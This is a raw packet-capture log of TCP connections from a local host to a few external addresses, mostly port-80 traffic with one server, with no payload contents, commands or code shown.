Sep 30, 2024 13:59:55.018807888 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018811941 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018817902 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018827915 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018842936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018878937 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018878937 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018878937 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105210066 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105242014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105253935 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105264902 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105268955 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105285883 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105292082 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105295897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105313063 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105329990 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105330944 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105344057 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105348110 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105355024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105365992 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105376005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105376005 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105386972 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105396986 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105403900 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105407000 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105418921 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105421066 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105442047 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105446100 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105452061 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105473042 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105473042 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105483055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105488062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105494022 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105513096 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105537891 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105583906 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105593920 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105604887 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105616093 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105623007 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105627060 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105638027 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105657101 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105673075 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105720997 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105731010 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105741024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105751991 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105762959 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105762959 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105773926 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105792046 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105813980 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105834961 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105845928 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105856895 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105865955 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105868101 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105878115 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105889082 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105890989 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105899096 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105916023 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105932951 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105937004 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105942965 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105956078 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105971098 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.105990887 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.105994940 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106000900 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106012106 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106019974 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106021881 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106035948 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106061935 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106086969 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106122017 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106132030 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106142998 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106153965 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106161118 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106164932 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106174946 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106185913 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106189013 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106209993 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106224060 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106268883 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106278896 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106288910 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106298923 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106309891 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106311083 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106319904 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106332064 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106338978 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106354952 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106379986 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106394053 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106404066 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106424093 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106436014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106441975 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106446028 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106456995 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106467962 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106477976 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106477976 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106488943 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106498957 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106504917 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106511116 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106523991 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106547117 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106605053 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106615067 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106625080 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106635094 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106646061 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106648922 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106657982 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106674910 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106693029 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106731892 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106749058 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106760979 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106770039 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106781006 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106785059 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106791019 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106801033 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106801987 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106812000 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106818914 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106825113 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106843948 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106873989 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106885910 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106897116 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106908083 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106919050 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106926918 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106954098 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.106966972 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106977940 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106988907 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.106997967 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107001066 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107008934 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107018948 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107029915 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107033014 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107053995 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107068062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107079983 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107177973 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107234955 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107245922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107255936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107266903 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107276917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107285023 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107287884 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107297897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107307911 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107314110 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107319117 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107330084 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107340097 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.107342005 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107358932 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.107374907 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.108473063 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108489990 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108500957 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108532906 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.108535051 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108546972 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108558893 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108567953 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108571053 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.108577967 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.108588934 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.108612061 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.193938971 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.193964958 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.193975925 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.193990946 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194013119 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194024086 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194034100 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194045067 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194045067 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194056034 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194066048 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194077015 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194087982 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194098949 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194108009 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194120884 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194132090 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194174051 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194217920 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194230080 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194241047 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194252014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194258928 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194262981 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194274902 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194288969 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194319010 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194336891 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194346905 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194356918 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194367886 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194377899 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194382906 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194390059 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194400072 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194405079 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194411039 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194422007 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194428921 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194432974 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194459915 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194479942 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194621086 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194636106 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194647074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194658041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194668055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194674015 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194679976 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194689989 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194700956 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194710970 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194720984 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194726944 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194741964 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194763899 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194776058 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194786072 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194796085 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194806099 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194817066 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194819927 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194827080 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194838047 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194849014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194855928 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194859028 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194869995 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194883108 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194892883 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194904089 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194910049 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194915056 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194925070 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194931984 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194971085 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.194984913 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.194996119 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195005894 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195017099 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195061922 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195137978 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195147991 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195158005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195168018 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195178986 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195182085 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195188999 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195199966 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195203066 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195209980 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195220947 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195233107 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195233107 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195256948 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195281029 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195374012 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195389986 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195401907 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195406914 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195417881 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195427895 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195431948 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195439100 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195451021 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195455074 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195461035 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195472956 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195482969 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195501089 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195506096 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195518970 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195530891 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195538044 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195563078 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195601940 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195612907 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195625067 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195636034 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195646048 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195651054 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195658922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195668936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195674896 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195696115 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195718050 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195719957 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195729971 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195740938 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.195764065 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.195794106 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.378475904 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:55.383784056 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:55.681126118 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:55.681157112 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:55.681229115 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:55.688532114 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:55.688544035 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.302143097 CEST	443	49734	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:56.302398920 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.428693056 CEST	49734	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:56.428714991 CEST	443	49734	149.154.167.99	192.168.2.6
